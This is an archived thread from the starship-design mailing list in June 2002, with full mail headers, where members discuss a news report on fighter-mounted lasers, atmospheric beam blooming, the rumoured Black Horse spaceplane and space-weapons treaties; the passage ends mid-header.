-0700 (PDT) Received: from web13604.mail.yahoo.com (web13604.mail.yahoo.com [216.136.175.115]) by darkwing.uoregon.edu (8.12.4/8.12.4) with SMTP id g59DfJxf026372 for ; Sun, 9 Jun 2002 06:41:19 -0700 (PDT) Message-ID: <20020609134119.11184.qmail@web13604.mail.yahoo.com> Received: from [206.148.24.136] by web13604.mail.yahoo.com via HTTP; Sun, 09 Jun 2002 06:41:19 PDT MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""0-95676407-1023630079=:7991"" Precedence: bulk Reply-To: Curtis Manges From: Curtis Manges Sender: owner-starship-design@lists.uoregon.edu To: starship-design Subject: Fwd: starship-design: Want to bet that Black Horse is in here somewhere? Date: Sun, 9 Jun 2002 06:41:19 -0700 (PDT) --0-95676407-1023630079=:7991 Content-Type: text/plain; charset=us-ascii intersting, but will it really work? I thought I'd heard something about lasers (though good in space) being lousy as atmospheric weapons. I think it's because the beam begins to ionize the air in its path and causes diffusion. tell me if that sounds right. keep looking up Curtis ""L. Parker"" wrote: From: ""L. Parker"" To: ""Starship-Design List \\(E-mail\\)"" Subject: starship-design: Want to bet that Black Horse is in here somewhere? Date: Sat, 8 Jun 2002 16:43:56 -0500 USAF Teams With Industry To Develop Laser Guns For Jet Fighters Kirtland AFB - June 5, 2002 Exploring the feasibility of using high-energy lasers on fighter aircraft is the aim of an agreement signed Friday (May 31) between the Air Force Research Laboratory here and Lockheed Martin of Fort Worth, Texas. Under a Cooperative Research And Development Agreement, or CRADA, the laboratory's Directed Energy Directorate and Lockheed Martin's Aeronautics Company will pool their resources. The Air Force laboratory will contribute its expertise in high-energy lasers, laser beam-control technology and laser vulnerability data. Lockheed Martin will use the Air Force's information and examine the integration and optimum performance of high-energy lasers and beam-control technology on various fighter aircraft such as the F-15, F-16, F-22 and F-35 Joint Strike Fighter. The company will also assess the military value and potential of lasers on tactical platforms and evaluate related aero-optic issues. Both organizations are expected to benefit from the cooperative effort and information transfer. The directorate will get insight into the Joint Strike Fighter and other Lockheed Martin platforms to better determine how to apply future research to operational systems that benefit the warfighter. Lockheed Martin will get better technical information on high-energy lasers and beam control systems that will help the company design better weapons systems for its aircraft. The overall cooperative effort is expected to advance and further the development of high-energy lasers aboard tactical aircraft. The laboratory's Directed Energy Directorate is building on past accomplishments. Its scientists invented the chemical laser that is being used on the Airborne Laser, a Boeing 747-400 series jumbo jet aircraft, under development, that will use a laser to destroy ballistic missiles shortly after being launched while still in powered flight. The directorate is also providing technical support to the Airborne Laser program. In the early 1980s, the directorate demonstrated that a modified Boeing 707 laser-armed aircraft could destroy targets in the air. get the facts! visit www.worldnews.com --------------------------------- Do You Yahoo!? Sign-up for Video Highlights of 2002 FIFA World Cup --0-95676407-1023630079=:7991 Content-Type: text/html; charset=us-ascii intersting, but will it really work? I thought I'd heard something about lasers (though good in space) being lousy as atmospheric weapons. I think it's because the beam begins to ionize the air in its path and causes diffusion. tell me if that sounds right. keep looking up Curtis   ""L. Parker"" wrote: From: ""L. Parker"" To: ""Starship-Design List \\(E-mail\\)"" Subject: starship-design: Want to bet that Black Horse is in here somewhere?Date: Sat, 8 Jun 2002 16:43:56 -0500USAF Teams With Industry To Develop Laser Guns For Jet FightersKirtland AFB - June 5, 2002Exploring the feasibility of using high-energy lasers on fighter aircraft isthe aim of an agreement signed Friday (May 31) between the Air ForceResearch Laboratory here and Lockheed Martin of Fort Worth, Texas.Under a Cooperative Research And Development Agreement, or CRADA, thelaboratory's Directed Energy Directorate and Lockheed Martin's AeronauticsCompany will pool their resources.The Air Force laboratory will contribute its expertise in high-energylasers, laser beam-control technology and laser vulnerability data. LockheedMartin will use the Air Force's information and examine the integration andoptimum performance of high-energy lasers and beam-control technology onvarious fighter aircraft such as the F-15, F-16, F-22 and F-35 Joint StrikeFighter.The company will also assess the military value and potential of lasers ontactical platforms and evaluate related aero-optic issues.Both organizations are expected to benefit from the cooperative effort andinformation transfer. The directorate will get insight into the Joint StrikeFighter and other Lockheed Martin platforms to better determine how to applyfuture research to operational systems that benefit the warfighter.Lockheed Martin will get better technical information on high-energy lasersand beam control systems that will help the company design better weaponssystems for its aircraft. The overall cooperative effort is expected toadvance and further the development of high-energy lasers aboard tacticalaircraft.The laboratory's Directed Energy Directorate is building on pastaccomplishments. Its scientists invented the chemical laser that is beingused on the Airborne Laser, a Boeing 747-400 series jumbo jet aircraft,under development, that will use a laser to destroy ballistic missilesshortly after being launched while still in powered flight.The directorate is also providing technical support to the Airborne Laserprogram. In the early 1980s, the directorate demonstrated that a modifiedBoeing 707 laser-armed aircraft could destroy targets in the air.get the facts! visit www.worldnews.comDo You Yahoo!? Sign-up for Video Highlights of 2002 FIFA World Cup --0-95676407-1023630079=:7991-- >From VM Mon Jun 10 10:25:20 2002 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1354"" ""Sunday"" ""9"" ""June"" ""2002"" ""16:49:16"" ""-0500"" ""L. Parker"" ""lparker@cacaphony.net"" nil ""34"" ""RE: starship-design: Want to bet that Black Horse is in here somewhere?"" ""^From:"" nil nil ""6"" nil ""starship-design: Want to bet that Black Horse is in here somewhere?"" nil nil nil nil nil nil] nil) Content-Length: 1354 Return-Path: Received: from darkwing.uoregon.edu (majordom@localhost [127.0.0.1]) by darkwing.uoregon.edu (8.12.4/8.12.4) with ESMTP id g59LoRxf011580 for ; Sun, 9 Jun 2002 14:50:27 -0700 (PDT) Received: (from majordom@localhost) by darkwing.uoregon.edu (8.12.4/8.12.4/Submit) id g59LoR7q011577 for starship-design-outgoing; Sun, 9 Jun 2002 14:50:27 -0700 (PDT) Received: from avocet.mail.pas.earthlink.net (avocet.mail.pas.earthlink.net [207.217.120.50]) by darkwing.uoregon.edu (8.12.4/8.12.4) with ESMTP id g59LoLxf011540 for ; Sun, 9 Jun 2002 14:50:26 -0700 (PDT) Received: from user121.net241.fl.sprint-hsd.net ([64.45.208.121] helo=broadsword) by avocet.mail.pas.earthlink.net with smtp (Exim 3.33 #2) id 17HAZo-0002ja-00; Sun, 09 Jun 2002 14:50:20 -0700 Message-ID: <004901c20fff$80fb86c0$0201a8c0@broadsword> MIME-Version: 1.0 Content-Type: text/plain; charset=""US-ASCII"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 In-Reply-To: <20020609134119.11184.qmail@web13604.mail.yahoo.com> Precedence: bulk Reply-To: ""L. Parker"" From: ""L. Parker"" Sender: owner-starship-design@lists.uoregon.edu To: ""'Curtis Manges'"" , ""'starship-design'"" Subject: RE: starship-design: Want to bet that Black Horse is in here somewhere? Date: Sun, 9 Jun 2002 16:49:16 -0500 Bingo! Atmospheric ionization was one of the largest obstacles airborne lasers had to overcome. It caused a thermal bloom which then spread the beam and significantly reduced energy on target. This has been mostly overcome, but at the speeds fighter aircraft typically move, they will outrun the solution. So why are they looking at laser weapons on a fighter airframe if they aren't going to be significantly better than missiles or guns? Because Black Horse is a fighter sized airframe and is designed to reach orbit...where atmospheric interference is no longer a problem and the laser WILL outperform missiles and guns. It makes one heck of a quick launch antisatellite weapon and would probably even be able to generate some significant antiballistic missile usefulness. Lee -----Original Message----- From: owner-starship-design@lists.uoregon.edu [mailto:owner-starship-design@lists.uoregon.edu]On Behalf Of Curtis Manges Sent: Sunday, June 09, 2002 8:41 AM To: starship-design Subject: Fwd: starship-design: Want to bet that Black Horse is in here somewhere? intersting, but will it really work? I thought I'd heard something about lasers (though good in space) being lousy as atmospheric weapons. I think it's because the beam begins to ionize the air in its path and causes diffusion. tell me if that sounds right. keep looking up Curtis >From VM Mon Jun 10 10:25:20 2002 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1268"" ""Sunday"" ""9"" ""June"" ""2002"" ""21:44:52"" ""EDT"" ""KellySt@aol.com"" ""KellySt@aol.com"" nil ""35"" ""Re: starship-design: Want to bet that Black Horse is in here somewhere?"" ""^From:"" nil nil ""6"" nil ""starship-design: Want to bet that Black Horse is in here somewhere?"" nil nil nil nil nil nil] nil) Content-Length: 1268 Return-Path: Received: from darkwing.uoregon.edu (majordom@localhost [127.0.0.1]) by darkwing.uoregon.edu (8.12.4/8.12.4) with ESMTP id g5A1jBxf007518 for ; Sun, 9 Jun 2002 18:45:11 -0700 (PDT) Received: (from majordom@localhost) by darkwing.uoregon.edu (8.12.4/8.12.4/Submit) id g5A1jAgW007517 for starship-design-outgoing; Sun, 9 Jun 2002 18:45:10 -0700 (PDT) Received: from imo-d02.mx.aol.com (imo-d02.mx.aol.com [205.188.157.34]) by darkwing.uoregon.edu (8.12.4/8.12.4) with ESMTP id g5A1j2xf007424 for ; Sun, 9 Jun 2002 18:45:10 -0700 (PDT) Received: from KellySt@aol.com by imo-d02.mx.aol.com (mail_out_v32.5.) id z.da.191cd5d8 (4552) for ; Sun, 9 Jun 2002 21:44:52 -0400 (EDT) Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=""US-ASCII"" Content-Transfer-Encoding: 7bit X-Mailer: AOL 5.0 for Mac sub 39 Precedence: bulk Reply-To: KellySt@aol.com From: KellySt@aol.com Sender: owner-starship-design@lists.uoregon.edu To: starship-design@lists.uoregon.edu Subject: Re: starship-design: Want to bet that Black Horse is in here somewhere? Date: Sun, 9 Jun 2002 21:44:52 EDT In a message dated 6/9/02 5:51:30 PM, lparker@cacaphony.net writes: >Bingo! > >Atmospheric ionization was one of the largest obstacles airborne lasers >had >to overcome. It caused a thermal bloom which then spread the beam and >significantly reduced energy on target. This has been mostly overcome, >but >at the speeds fighter aircraft typically move, they will outrun the >solution. > >So why are they looking at laser weapons on a fighter airframe if they >aren't going to be significantly better than missiles or guns? Because >Black >Horse is a fighter sized airframe and is designed to reach orbit...where >atmospheric interference is no longer a problem and the laser WILL >outperform missiles and guns. > >It makes one heck of a quick launch antisatellite weapon and would probably >even be able to generate some significant antiballistic missile usefulness. > >Lee I doubt this is for blackhorse. See they also know how to cancel out blooming from earth to oprbit, and even back when the f-15's were designed th ey we're designed to be laser compatable. The Navy has a significant research effort in it to replace their phalanx anti-antiship missle systems. Bessides why make a black Horse compatable laser, when you never funded Black Horse? Kelly >From VM Mon Jun 10 10:25:20 2002 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""453"" ""Sunday"" ""9"" ""June"" ""2002"" ""21:48:16"" ""-0500"" ""L. Parker"" ""lparker@cacaphony.net"" nil ""20"" ""RE: starship-design: Want to bet that Black Horse is in here somewhere?"" ""^From:"" nil nil ""6"" nil ""starship-design: Want to bet that Black Horse is in here somewhere?"" nil nil nil nil nil nil] nil) Content-Length: 453 Return-Path: Received: from darkwing.uoregon.edu (majordom@localhost [127.0.0.1]) by darkwing.uoregon.edu (8.12.4/8.12.4) with ESMTP id g5A2nVxf021345 for ; Sun, 9 Jun 2002 19:49:31 -0700 (PDT) Received: (from majordom@localhost) by darkwing.uoregon.edu (8.12.4/8.12.4/Submit) id g5A2nVvw021344 for starship-design-outgoing; Sun, 9 Jun 2002 19:49:31 -0700 (PDT) Received: from avocet.mail.pas.earthlink.net (avocet.mail.pas.earthlink.net [207.217.120.50]) by darkwing.uoregon.edu (8.12.4/8.12.4) with ESMTP id g5A2nUxf021339 for ; Sun, 9 Jun 2002 19:49:30 -0700 (PDT) Received: from user121.net241.fl.sprint-hsd.net ([64.45.208.121] helo=broadsword) by avocet.mail.pas.earthlink.net with smtp (Exim 3.33 #2) id 17HFFF-0002K8-00; Sun, 09 Jun 2002 19:49:25 -0700 Message-ID: <004d01c21029$4919db10$0201a8c0@broadsword> MIME-Version: 1.0 Content-Type: text/plain; charset=""US-ASCII"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 In-Reply-To: Precedence: bulk Reply-To: ""L. Parker"" From: ""L. Parker"" Sender: owner-starship-design@lists.uoregon.edu To: , Subject: RE: starship-design: Want to bet that Black Horse is in here somewhere? Date: Sun, 9 Jun 2002 21:48:16 -0500 > -----Original Message----- > From: owner-starship-design@lists.uoregon.edu > [mailto:owner-starship-design@lists.uoregon.edu]On Behalf Of > KellySt@aol.com > Sent: Sunday, June 09, 2002 8:45 PM > To: starship-design@lists.uoregon.edu > Subject: Re: starship-design: Want to bet that Black Horse is in here > somewhere? > > > > Bessides why make a black Horse compatable laser, when you > never funded Black > Horse? Who says they didn't? Lee >From VM Mon Jun 10 15:14:04 2002 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""243"" ""Monday"" ""10"" ""June"" ""2002"" ""18:11:33"" ""EDT"" ""KellySt@aol.com"" ""KellySt@aol.com"" nil ""14"" ""Re: starship-design: Want to bet that Black Horse is in here somewhere?"" ""^From:"" nil nil ""6"" nil nil nil nil nil nil nil nil] nil) Content-Length: 243 Return-Path: Received: from darkwing.uoregon.edu (majordom@localhost [127.0.0.1]) by darkwing.uoregon.edu (8.12.4/8.12.4) with ESMTP id g5AMBnxf013441 for ; Mon, 10 Jun 2002 15:11:49 -0700 (PDT) Received: (from majordom@localhost) by darkwing.uoregon.edu (8.12.4/8.12.4/Submit) id g5AMBnAa013433 for starship-design-outgoing; Mon, 10 Jun 2002 15:11:49 -0700 (PDT) Received: from imo-r04.mx.aol.com (imo-r04.mx.aol.com [152.163.225.100]) by darkwing.uoregon.edu (8.12.4/8.12.4) with ESMTP id g5AMBgxf013039 for ; Mon, 10 Jun 2002 15:11:42 -0700 (PDT) Received: from KellySt@aol.com by imo-r04.mx.aol.com (mail_out_v32.5.) id z.125.11dc5d43 (25098) for ; Mon, 10 Jun 2002 18:11:33 -0400 (EDT) Message-ID: <125.11dc5d43.2a367e15@aol.com> MIME-Version: 1.0 Content-Type: text/plain; charset=""US-ASCII"" Content-Transfer-Encoding: 7bit X-Mailer: AOL 5.0 for Mac sub 39 Precedence: bulk Reply-To: KellySt@aol.com From: KellySt@aol.com Sender: owner-starship-design@lists.uoregon.edu To: starship-design@lists.uoregon.edu Subject: Re: starship-design: Want to bet that Black Horse is in here somewhere? Date: Mon, 10 Jun 2002 18:11:33 EDT In a message dated 6/9/02 10:49:42 PM, lparker@cacaphony.net writes: > >> Bessides why make a black Horse compatable laser, when you >> never funded Black >> Horse? > >Who says they didn't? > >Lee They didn't, if they had - you'ld know. >From VM Mon Jun 10 15:59:32 2002 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""4476"" ""Monday"" ""10"" ""June"" ""2002"" ""15:58:15"" ""-0700"" ""Curtis Manges"" ""clmanges@yahoo.com"" nil ""69"" ""Fwd: RE: starship-design: Want to bet that Black Horse is in here somewhere?"" ""^From:"" nil nil ""6"" nil nil nil nil nil nil nil nil] nil) Content-Length: 4476 Return-Path: Received: from darkwing.uoregon.edu (majordom@localhost [127.0.0.1]) by darkwing.uoregon.edu (8.12.4/8.12.4) with ESMTP id g5AMwTxf010256 for ; Mon, 10 Jun 2002 15:58:29 -0700 (PDT) Received: (from majordom@localhost) by darkwing.uoregon.edu (8.12.4/8.12.4/Submit) id g5AMwS1k010255 for starship-design-outgoing; Mon, 10 Jun 2002 15:58:28 -0700 (PDT) Received: from web13601.mail.yahoo.com (web13601.mail.yahoo.com [216.136.175.112]) by darkwing.uoregon.edu (8.12.4/8.12.4) with SMTP id g5AMwQxf010233 for ; Mon, 10 Jun 2002 15:58:27 -0700 (PDT) Message-ID: <20020610225815.4985.qmail@web13601.mail.yahoo.com> Received: from [206.148.24.101] by web13601.mail.yahoo.com via HTTP; Mon, 10 Jun 2002 15:58:15 PDT MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""0-263090134-1023749895=:2842"" Precedence: bulk Reply-To: Curtis Manges From: Curtis Manges Sender: owner-starship-design@lists.uoregon.edu To: starship-design Subject: Fwd: RE: starship-design: Want to bet that Black Horse is in here somewhere? Date: Mon, 10 Jun 2002 15:58:15 -0700 (PDT) --0-263090134-1023749895=:2842 Content-Type: text/plain; charset=us-ascii hey, thanksfor the feedback. next question: aren't weapons illegal in space? stuff the ballot box for mining the moon! http://www.opinionsite.com/Default.asp keep looking up Curtis ""L. Parker"" wrote: From: ""L. Parker"" To: ""'Curtis Manges'"" , ""'starship-design'"" Subject: RE: starship-design: Want to bet that Black Horse is in here somewhere? Date: Sun, 9 Jun 2002 16:49:16 -0500 Bingo! Atmospheric ionization was one of the largest obstacles airborne lasers had to overcome. It caused a thermal bloom which then spread the beam and significantly reduced energy on target. This has been mostly overcome, but at the speeds fighter aircraft typically move, they will outrun the solution. So why are they looking at laser weapons on a fighter airframe if they aren't going to be significantly better than missiles or guns? Because Black Horse is a fighter sized airframe and is designed to reach orbit...where atmospheric interference is no longer a problem and the laser WILL outperform missiles and guns. It makes one heck of a quick launch antisatellite weapon and would probably even be able to generate some significant antiballistic missile usefulness. Lee -----Original Message----- From: owner-starship-design@lists.uoregon.edu [mailto:owner-starship-design@lists.uoregon.edu]On Behalf Of Curtis Manges Sent: Sunday, June 09, 2002 8:41 AM To: starship-design Subject: Fwd: starship-design: Want to bet that Black Horse is in here somewhere? intersting, but will it really work? I thought I'd heard something about lasers (though good in space) being lousy as atmospheric weapons. I think it's because the beam begins to ionize the air in its path and causes diffusion. tell me if that sounds right. keep looking up Curtis get the facts! visit www.worldnews.com --------------------------------- Do You Yahoo!? Sign-up for Video Highlights of 2002 FIFA World Cup --0-263090134-1023749895=:2842 Content-Type: text/html; charset=us-ascii hey, thanksfor the feedback. next question: aren't weapons illegal in space? stuff the ballot box for mining the moon! http://www.opinionsite.com/Default.asp keep looking up Curtis   ""L. Parker"" wrote: From: ""L. Parker"" To: ""'Curtis Manges'"" ,""'starship-design'"" Subject: RE: starship-design: Want to bet that Black Horse is in here somewhere?Date: Sun, 9 Jun 2002 16:49:16 -0500Bingo!Atmospheric ionization was one of the largest obstacles airborne lasers hadto overcome. It caused a thermal bloom which then spread the beam andsignificantly reduced energy on target. This has been mostly overcome, butat the speeds fighter aircraft typically move, they will outrun thesolution.So why are they looking at laser weapons on a fighter airframe if theyaren't going to be significantly better than missiles or guns? Because BlackHorse is a fighter sized airframe and is designed to reach orbit...whereatmospheric interference is no longer a problem and the laser WILLoutperform missiles and guns.It makes one heck of a quick launch antisatellite weapon and would probablyeven be able to generate some significant antiballistic missile usefulness.Lee-----Original Message-----From: owner-starship-design@lists.uoregon.edu[mailto:owner-starship-design@lists.uoregon.edu]On Behalf Of Curtis MangesSent: Sunday, June 09, 2002 8:41 AMTo: starship-designSubject: Fwd: starship-design: Want to bet that Black Horse is in heresomewhere?intersting, but will it really work? I thought I'd heard something aboutlasers (though good in space) being lousy as atmospheric weapons. I thinkit's because the beam begins to ionize the air in its path and causesdiffusion. tell me if that sounds right.keep looking upCurtisget the facts! visit www.worldnews.comDo You Yahoo!? Sign-up for Video Highlights of 2002 FIFA World Cup --0-263090134-1023749895=:2842-- >From VM Mon Jun 10 16:05:33 2002 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""609"" ""Monday"" ""10"" ""June"" ""2002"" ""18:02:36"" ""-0500"" ""L. Parker"" ""lparker@cacaphony.net"" nil ""15"" ""RE: starship-design: Want to bet that Black Horse is in here somewhere?"" ""^From:"" nil nil ""6"" nil nil nil nil nil nil nil nil] nil) Content-Length: 609 Return-Path: Received: from darkwing.uoregon.edu (majordom@localhost [127.0.0.1]) by darkwing.uoregon.edu (8.12.4/8.12.4) with ESMTP id g5AN3hxf014115 for ; Mon, 10 Jun 2002 16:03:43 -0700 (PDT) Received: (from majordom@localhost) by darkwing.uoregon.edu (8.12.4/8.12.4/Submit) id g5AN3hkU014112 for starship-design-outgoing; Mon, 10 Jun 2002 16:03:43 -0700 (PDT) Received: from avocet.mail.pas.earthlink.net (avocet.mail.pas.earthlink.net [207.217.120.50]) by darkwing.uoregon.edu (8.12.4/8.12.4) with ESMTP id g5AN3gxf014106 for ; Mon, 10 Jun 2002 16:03:42 -0700 (PDT) Received: from user121.net241.fl.sprint-hsd.net ([64.45.208.121] helo=broadsword) by avocet.mail.pas.earthlink.net with smtp (Exim 3.33 #2) id 17HYCL-0001Uk-00; Mon, 10 Jun 2002 16:03:41 -0700 Message-ID: <005c01c210d2$e9fd8dc0$0201a8c0@broadsword> MIME-Version: 1.0 Content-Type: text/plain; charset=""US-ASCII"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 In-Reply-To: <125.11dc5d43.2a367e15@aol.com> Precedence: bulk Reply-To: ""L. Parker"" From: ""L. Parker"" Sender: owner-starship-design@lists.uoregon.edu To: , Subject: RE: starship-design: Want to bet that Black Horse is in here somewhere? Date: Mon, 10 Jun 2002 18:02:36 -0500 Ummm, there are many things that I know about that most people don't. As you might suspect, I'm not at liberty to talk about them. Black Horse isn't one of them. Black Horse as far as I and the rest of the world know, does not exist. But as I am sure you are aware, that is not the same thing as not existing. By inference, there were several operational systems designed to give the USAF a limited orbital strike capability until a fully operational system came along. Those systems are no longer around so I must assume they were replaced with something. Lee > > > They didn't, if they had - you'ld know. >From VM Mon Jun 10 17:11:05 2002 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1109"" ""Monday"" ""10"" ""June"" ""2002"" ""19:07:31"" ""-0500"" ""L. Parker"" ""lparker@cacaphony.net"" nil ""28"" ""RE: RE: starship-design: Want to bet that Black Horse is in here somewhere?"" ""^From:"" nil nil ""6"" nil nil nil nil nil nil nil nil] nil) Content-Length: 1109 Return-Path: Received: from darkwing.uoregon.edu (majordom@localhost [127.0.0.1]) by darkwing.uoregon.edu (8.12.4/8.12.4) with ESMTP id g5B08lxf014071 for ; Mon, 10 Jun 2002 17:08:47 -0700 (PDT) Received: (from majordom@localhost) by darkwing.uoregon.edu (8.12.4/8.12.4/Submit) id g5B08lAZ014070 for starship-design-outgoing; Mon, 10 Jun 2002 17:08:47 -0700 (PDT) Received: from avocet.mail.pas.earthlink.net (avocet.mail.pas.earthlink.net [207.217.120.50]) by darkwing.uoregon.edu (8.12.4/8.12.4) with ESMTP id g5B08kxf014064 for ; Mon, 10 Jun 2002 17:08:46 -0700 (PDT) Received: from user121.net241.fl.sprint-hsd.net ([64.45.208.121] helo=broadsword) by avocet.mail.pas.earthlink.net with smtp (Exim 3.33 #2) id 17HZDA-0002q2-00; Mon, 10 Jun 2002 17:08:36 -0700 Message-ID: <006601c210db$fbb41300$0201a8c0@broadsword> MIME-Version: 1.0 Content-Type: text/plain; charset=""US-ASCII"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 In-Reply-To: <20020610225815.4985.qmail@web13601.mail.yahoo.com> Precedence: bulk Reply-To: ""L. Parker"" From: ""L. Parker"" Sender: owner-starship-design@lists.uoregon.edu To: ""'Curtis Manges'"" , ""'starship-design'"" Subject: RE: RE: starship-design: Want to bet that Black Horse is in here somewhere? Date: Mon, 10 Jun 2002 19:07:31 -0500 -----Original Message----- From: owner-starship-design@lists.uoregon.edu [mailto:owner-starship-design@lists.uoregon.edu]On Behalf Of Curtis Manges Sent: Monday, June 10, 2002 5:58 PM To: starship-design Subject: Fwd: RE: starship-design: Want to bet that Black Horse is in here somewhere? hey, thanksfor the feedback. next question: aren't weapons illegal in space? Well they were the last time I checked.... Actually, I think the prohibition only applies to _nuclear_ weapons. Which an orbital laser equipped fighter makes useless unless launched in massive quantities. Russia and China would both be able to swamp such a fighter. India and Pakistan on the other hand would be much more easily handled. Black Horse was tasked to be able to deliver its ""cargo"" to a particular point in orbit within four hours. So it would be possible with some warning of imminent launch to have such a fighter nearby in orbit. The problem is that it is a low orbit and hence its ""loiter time"" would be very brief. It would require several spacecraft to maintain continuous coverage. Lots of possibilities here. Lee >From VM Mon Jun 10 17:21:44 2002 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""246"" ""Monday"" ""10"" ""June"" ""2002"" ""19:16:56"" ""-0500"" ""L. Parker"" ""lparker@cacaphony.net"" nil ""7"" ""RE: RE: starship-design: Want to bet that Black Horse is in here somewhere?"" ""^From:"" nil nil ""6"" nil nil nil nil nil nil nil nil] nil) Content-Length: 246 Return-Path: Received: from darkwing.uoregon.edu (majordom@localhost [127.0.0.1]) by darkwing.uoregon.edu (8.12.4/8.12.4) with ESMTP id g5B0IBxf018360 for ; Mon, 10 Jun 2002 17:18:11 -0700 (PDT) Received: (from majordom@localhost) by darkwing.uoregon.edu (8.12.4/8.12.4/Submit) id g5B0IBZB018358 for starship-design-outgoing; Mon, 10 Jun 2002 17:18:11 -0700 (PDT) Received: from avocet.mail.pas.earthlink.net (avocet.mail.pas.earthlink.net [207.217.120.50]) by darkwing.uoregon.edu (8.12.4/8.12.4) with ESMTP id g5B0I5xf018344 for ; Mon, 10 Jun 2002 17:18:05 -0700 (PDT) Received: from user121.net241.fl.sprint-hsd.net ([64.45.208.121] helo=broadsword) by avocet.mail.pas.earthlink.net with smtp (Exim 3.33 #2) id 17HZMH-0006y1-00; Mon, 10 Jun 2002 17:18:01 -0700 Message-ID: <006701c210dd$4c927a40$0201a8c0@broadsword> MIME-Version: 1.0 Content-Type: text/plain; charset=""US-ASCII"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 In-Reply-To: <006601c210db$fbb41300$0201a8c0@broadsword> Precedence: bulk Reply-To: ""L. Parker"" From: ""L. Parker"" Sender: owner-starship-design@lists.uoregon.edu To: ""'L. Parker'"" , ""'Curtis Manges'"" , ""'starship-design'"" Subject: RE: RE: starship-design: Want to bet that Black Horse is in here somewhere? Date: Mon, 10 Jun 2002 19:16:56 -0500 Just a thought that I suddenly realized I had missed. The ABM Treaty only prohibits more than two Anti Ballistic Missile sites in the United States. It does NOT address orbital anti ballistic missile weapons that are not satellites. Lee Parker >From VM Tue Jun 11 15:36:05 2002 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""2021"" ""Tuesday"" ""11"" ""June"" ""2002"" ""15:31:45"" ""-0700"" ""Curtis Manges"" ""clmanges@yahoo.com"" nil ""35"" ""Fwd: RE: RE: starship-design: Want to bet that Black Horse is in here somewhere?"" ""^From:"" nil nil ""6"" nil nil nil nil nil nil nil nil] nil) Content-Length: 2021 Return-Path: Received: from darkwing.uoregon.edu (majordom@localhost [127.0.0.1]) by darkwing.uoregon.edu (8.12.4/8.12.4) with ESMTP id g5BMVqxf009852 for ; Tue, 11 Jun 2002 15:31:52 -0700 (PDT) Received: (from majordom@localhost) by darkwing.uoregon.edu (8.12.4/8.12.4/Submit) id g5BMVqHA009850 for starship-design-outgoing; Tue, 11 Jun 2002 15:31:52 -0700 (PDT) Received: from web13601.mail.yahoo.com (web13601.mail.yahoo.com [216.136.175.112]) by darkwing.uoregon.edu (8.12.4/8.12.4) with SMTP id g5BMVnxf009649 for ; Tue, 11 Jun 2002 15:31:49 -0700 (PDT) Message-ID: <20020611223145.2922.qmail@web13601.mail.yahoo.com> Received: from [206.148.24.15] by web13601.mail.yahoo.com via HTTP; Tue, 11 Jun 2002 15:31:45 PDT MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""0-579136229-1023834705=:98022"" Precedence: bulk Reply-To: Curtis Manges From: Curtis Manges Sender: owner-starship-design@lists.uoregon.edu To: starship-design Subject: Fwd: RE: RE: starship-design: Want to bet that Black Horse is in here somewhere? Date: Tue, 11 Jun 2002 15:31:45 -0700 (PDT) --0-579136229-1023834705=:98022 Content-Type: text/plain; charset=us-ascii now, gentlemen, watch carefully as I fit this aerospace vehicle through this treaty loophole . . . ""L. Parker"" wrote: From: ""L. Parker"" To: ""'L. Parker'"" , ""'Curtis Manges'"" , ""'starship-design'"" Subject: RE: RE: starship-design: Want to bet that Black Horse is in here somewhere? Date: Mon, 10 Jun 2002 19:16:56 -0500 Just a thought that I suddenly realized I had missed. The ABM Treaty only prohibits more than two Anti Ballistic Missile sites in the United States. It does NOT address orbital anti ballistic missile weapons that are not satellites. Lee Parker get the facts! visit www.worldnews.com --------------------------------- Do You Yahoo!? Sign-up for Video Highlights of 2002 FIFA World Cup --0-579136229-1023834705=:98022 Content-Type: text/html; charset=us-ascii now, gentlemen, watch carefully as I fit this aerospace vehicle through this treaty loophole . . .   ""L. Parker"" wrote: From: ""L. Parker"" To: ""'L. Parker'"" ,""'Curtis Manges'"" ,""'starship-design'"" Subject: RE: RE: starship-design: Want to bet that Black Horse is in here somewhere?Date: Mon, 10 Jun 2002 19:16:56 -0500Just a thought that I suddenly realized I had missed.The ABM Treaty only prohibits more than two Anti Ballistic Missile sites inthe United States. It does NOT address orbital anti ballistic missileweapons that are not satellites.Lee Parkerget the facts! visit www.worldnews.comDo You Yahoo!? Sign-up for Video Highlights of 2002 FIFA World Cup --0-579136229-1023834705=:98022-- >From VM Tue Jun 11 15:51:36 2002 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""3044"" ""Tuesday"" ""11"" ""June"" ""2002"" ""17:48:03"" ""-0500"" ""L. Parker"" ""lparker@cacaphony.net"" nil ""48"" ""RE: RE: RE: starship-design: 